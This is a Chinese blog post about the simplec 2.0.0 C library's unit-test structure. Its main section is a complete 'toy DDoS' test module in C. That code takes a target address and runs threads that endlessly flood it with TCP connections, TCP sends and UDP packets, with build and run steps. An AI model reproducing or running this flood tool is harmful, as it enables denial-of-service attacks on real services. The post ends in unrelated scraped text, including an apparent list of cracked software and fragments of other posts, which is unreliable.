c basic library framework - simplec 2.0.0

前言 - simplec 单元测试 流程介绍 

  一个关于C基础库 simplec 2.0.0 发布了. 详细的文档介绍请参照 README.md.

说的再多都无用, 抵不上 gdb 一个 b r n. 本文就简单介绍一下 simplec 中怎么添加单元测试功能.

  simplec winds Debug 启动流程是 main -> simplec_main -> simplec_test. 所以所有的

单元测试都采用如下结构

/*
 * simple c 单元测试主函数
 * return    : void
 */
void
simplec_test(void) {
    // 单元测试 - 测试 plog 日志系统
    extern void test_plog(void);
    // 单元测试 - 测试 scthreads 线程池
    extern void test_scthreads(void);
    // 单元测试 - 测试 iop 网络io
    extern void test_iopserver(void);
    // 单元测试 - 测试 libcurl http 库
    extern void test_httputil(void);
    // 单元测试 - 测试 玩具 ddos攻击
    extern void test_ddos(void);

    test_ddos();
}

需要注意的是, 每一个单元测试函数,必须对映一个同名的文件结构. 如下图展示

利用上面规则, 在linux上会生成对应的 单元测试执行文件, 方便脚本联合测试.

# 单元测试使用, 生成指定主函数的运行程序, 替换回main操作
RUNT    = $(RHAD) -o $(TAR_PATH)/$(TEST_DIR)/[email protected] $(RTAL)
COPT    = objcopy --redefine-sym $(basename [email protected])=main $(OBJP)$(basename [email protected]).o

更加详细的规则, 可以学学Makefile

正文 - 不妨用simplec 写个 ddos攻击

  说太多没用, 基础库层面, 如少林武功. 唯有一招一式的练习. 没用魔法, 斗气那么灿烂.

攻击思路也很简单, tcp, udp 来回搞. 确实有的公司例如百度对ddos攻击防御做的很好.

直接上代码 添加 单元测试模块 test_ddos.c

#include <iop_util.h>
#include <scthreads.h>

#define _INT_HOSTV4        (16)
#define _INT_TIMEOUT    (3000)

struct targ {
    sockaddr_t addr;
    char ts[BUFSIZ];
    char us[BUFSIZ];

    // 攻击次数统计
    uint64_t connect;
    uint64_t tcpsend;
    uint64_t udpsend;
};

// 得到玩家输入的地址信息
void addr_input(sockaddr_t * addr);

// 检查IP是否合法
bool addr_check(sockaddr_t * addr);

// 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
void ddos_run(struct targ * arg);

//
// ddos attack entrance
//
void test_ddos(void) {
    // 记录详细攻击的量, ts and us 是脏数据随便发
    struct targ arg;
    arg.udpsend = arg.tcpsend = arg.connect = 0;

    // 得到玩家的地址信息
    addr_input(&arg.addr);

    if (!addr_check(&arg.addr))
        CERR_EXIT("ip or port check is error!!!");

    // 开始要启动线程了
    ddos_run(&arg);

    // :> 开始统计数据
    puts("connect count        tcp send count            udp send count");
    for (;;) {
        printf(" %"PRIu64"             %"PRIu64"                 %"PRIu64"\n", arg.connect, arg.tcpsend, arg.udpsend);
        sh_sleep(_INT_TIMEOUT);
    }
}

// 得到玩家输入的地址信息
void
addr_input(sockaddr_t * addr) {
    bool flag = true;
    int rt = 0;
    uint16_t port;
    char ip[_INT_HOSTV4] = { 0 };

    puts("Please input ip and port, example :> 127.0.0.1 8088");
    printf(":> ");

    // 自己重构scanf, 解决注入漏洞
    while (rt < _INT_HOSTV4 - 1) {
        char c = getchar();
        if (isspace(c)) {
            if (flag)
                continue;
            break;
        }
        flag = false;
        ip[rt++] = c;
    }
    ip[rt] = ‘\0‘;

    rt = scanf("%hu", &port);
    if (rt != 1)
        CERR_EXIT("scanf_s addr->host = %s, port = %hu.", ip, port);

    printf("connect check input addr ip:port = %s:%hu.\n", ip, port);

    // 下面就是待验证的地址信息
    if (socket_addr(ip, port, addr) < Success_Base)
        CERR_EXIT("socket_addr ip , port is error = %s, %hu.", ip, port);
}

// 检查IP是否合法
bool
addr_check(sockaddr_t * addr) {
    int r;
    socket_t s = socket_stream();
    if (s == INVALID_SOCKET) {
        RETURN(false, "socket_stream is error!!");
    }

    r = socket_connecto(s, addr, _INT_TIMEOUT);
    socket_close(s);
    if (r < Success_Base) {
        RETURN(false, "socket_connecto addr is timeout = %d.", _INT_TIMEOUT);
    }

    return true;
}

// connect 链接
static void _connect(struct targ * targ) {
    // 疯狂connect
    for (;;) {
        socket_t s = socket_stream();
        if (s == INVALID_SOCKET) {
            CERR("socket_stream is error!");
            continue;
        }

        // 精确统计, 一定要连接成功
        while (socket_connect(s, &targ->addr) < Success_Base)
            ;

        ++targ->connect;
        socket_close(s);
    }
}

// connect + send 连接
static void _tcpsend(struct targ * targ) {
    // 疯狂connect
    for (;;) {
        socket_t s = socket_stream();
        if (s == INVALID_SOCKET) {
            CERR("socket_stream is error!");
            continue;
        }

        // 精确统计, 一定要连接成功
        while (socket_connect(s, &targ->addr) < Success_Base)
            ;

        // 疯狂发送数据包
        while (socket_send(s, targ->ts, BUFSIZ) >= Success_Base)
            ++targ->tcpsend;

        socket_close(s);
    }
}

// udp send 连接
static void _udpsend(struct targ * targ) {
    for (;;) {
        socket_t s = socket_dgram();
        if (s == INVALID_SOCKET) {
            CERR("socket_stream is error!");
            continue;
        }

        // 疯狂发送数据包
        while (socket_sendto(s, targ->us, BUFSIZ, 0, &targ->addr, sizeof(targ->addr)) >= Success_Base)
            ++targ->udpsend;

        socket_close(s);
    }
}

// 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
void
ddos_run(struct targ * arg) {
    // 创建两个 connect 线程
    CERR_IF(async_run(_connect, arg));
    CERR_IF(async_run(_connect, arg));

    // 创建两个 connect + send 线程
    CERR_IF(async_run(_tcpsend, arg));
    CERR_IF(async_run(_tcpsend, arg));

    // 创建两个 _udpsend 线程
    CERR_IF(async_run(_udpsend, arg));
    CERR_IF(async_run(_udpsend, arg));
}

演示结果 先winds上测试一下

再linux上测试一下, make ; cd Output/test; ./test_ddos.exe

一切都是那么自然.[错误会被修复, 欢迎指正]

  simplec 欢迎尝试, 足够用C完成你想要的很多任务了. 它是框架层下面的基础库.

一切才刚刚开始, 也是个很好的开始. (???)?

  

时间: 2024-07-31 11:11:26

c basic library framework - simplec 2.0.0的相关文章

Library v7.0.0 for Visual C++ 2005_2008 Win32_64 4CD

TopSolid.2013.v7.7.CAM.Libraries.Addon 1DVD TopSolid.2013.v7.7.Design.Libraries.Addon 1CD Flaresim 3.06 1CD Simsci.Hextran.v9.2-ISO 1CD Vensim.6.0b.Portable 1CD STAR-CCM+ v7.06.010 Win32_64 & Linux-ISO 3DVD CAMWorks Nesting 2013 SP0.1 for SolidWorks

Unable to download data from http://ruby.taobao.org/ &amp; don&#39;t have write permissions for the /Library/Ruby/Gems/2.0.0 directory.

安装cocoapods,记录两个问题! 1.镜像已经替换成了 http://ruby.taobao.org/, 还是不能不能安装cocoapods, 报错:Unable to download data from http://ruby.taobao.org/ - bad response Not Found 404 (http://ruby.taobao.org/latest_specs.4.8.gz) 如图: 原来是ruby.taobao.org已经停止基于 HTTP 协议的镜像服务, 启用

Entity Framework 5.0.0 Function Import 以及 Implicit REF CURSOR Binding

源代码 概要:1,明如何使用Entity Framework中的function import功能. 2,说明如何使用ODP.NET的隐式REF CURSOR绑定(implicit REF CURSOR binding). 环境以及工具: Windows 10 企业版 Microsoft Visual Studio Enterprise 2015 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 .NET Framework 4.

整整十年 - Agent Framework for TypeScript 2.0

十年前,我发布了 Agent Framework for .NET 2.0 今天,Agent 又开始了新的旅程, 这次支持的语言是 TypeScript 2.0 上需求:init函数只能被调用一次 废话不说,贴代码 import { prerequistie, success } from 'agentframework' class NewAgent { @prerequisite('initialized', false, 'Already initialized') @success('i

Ibatis 异常:Unable to open connection to &quot;oledb , provider V2.0.0.0 in framework .NET V2.0&quot;.

在实际项目中使用了ibatis,然后在开发过程中遇到一些问题,最严重的就是这个“Unable to open connection to "Microsoft SQL Server, provider V2.0.0.0 in framework .NET V2.0"错误了,因为在VS2010调试中或者在本机(Win7 X64)的安装执行过程中,都是没有问题的,但是安装到测试机器(Win7 X86)上就出现了这个问题(偶尔出现).  今天baidu一下,发现一篇文章,http://www

ASP.NET Core 开发-Entity Framework (EF) Core 1.0 Database First

ASP.NET Core 开发-Entity Framework Core 1.0 Database First,ASP.NET Core 1.0 EF Core操作数据库. Entity Framework Core 1.0 也已经发布了,可以适用于 .NET Core 1.0 及ASP.NET Core 1.0 . EF Core RC2 时,使用的Code First: http://www.cnblogs.com/linezero/p/EntityFrameworkCore.html E

Android Studio中Android Support Library升级到 23.0.0 报错!

Android Support Library升级到 23.0.0  报错解决方案 不得不说,真能折腾!将Android Studio中SDK下的 Android Support Library 升级到了23.0.0,结果倒好了,创建项目出问题了,还比较奇葩: 卧槽你大爷!尼玛还能不能好好玩耍了.各种卸载重装,就差重装系统了. 后来在神器stackoverflow中找到了这么一篇: http://stackoverflow.com/questions/32092511/resource-erro

.Net Core 控制台程序错误:Can not find runtime target for framework &#39;.NETCoreApp,Version=v1.0&#39; compatible with one of the target runtimes: &#39;win10-x64, win81-x64, win8-x64, win7-x64&#39;.

.Net Core 控制台程序错误:Can not find runtime target for framework '.NETCoreApp,Version=v1.0' compatible with one of the target runtimes: 'win10-x64, win81-x64, win8-x64, win7-x64'. 解决方法: 在项目文件project.json里添加: "runtimes": {    "win10-x64": {}

Error:Execution failed for task &#39;:app:compileDebugAidl&#39;. &gt; java.lang.IllegalStateException: aidl is missing from &#39;/Users/renguodong/Library/Android/sdk/build-tools/26.0.2/aidl&#39;

错误信息:Error:Execution failed for task ':app:compileDebugAidl'. > java.lang.IllegalStateException: aidl is missing from '/Users/renguodong/Library/Android/sdk/build-tools/26.0.2/aidl' 出错分析:网上查了一些信息,给出的都是要把BuildTools Version和Compile Sdk Version一致.可是我的已经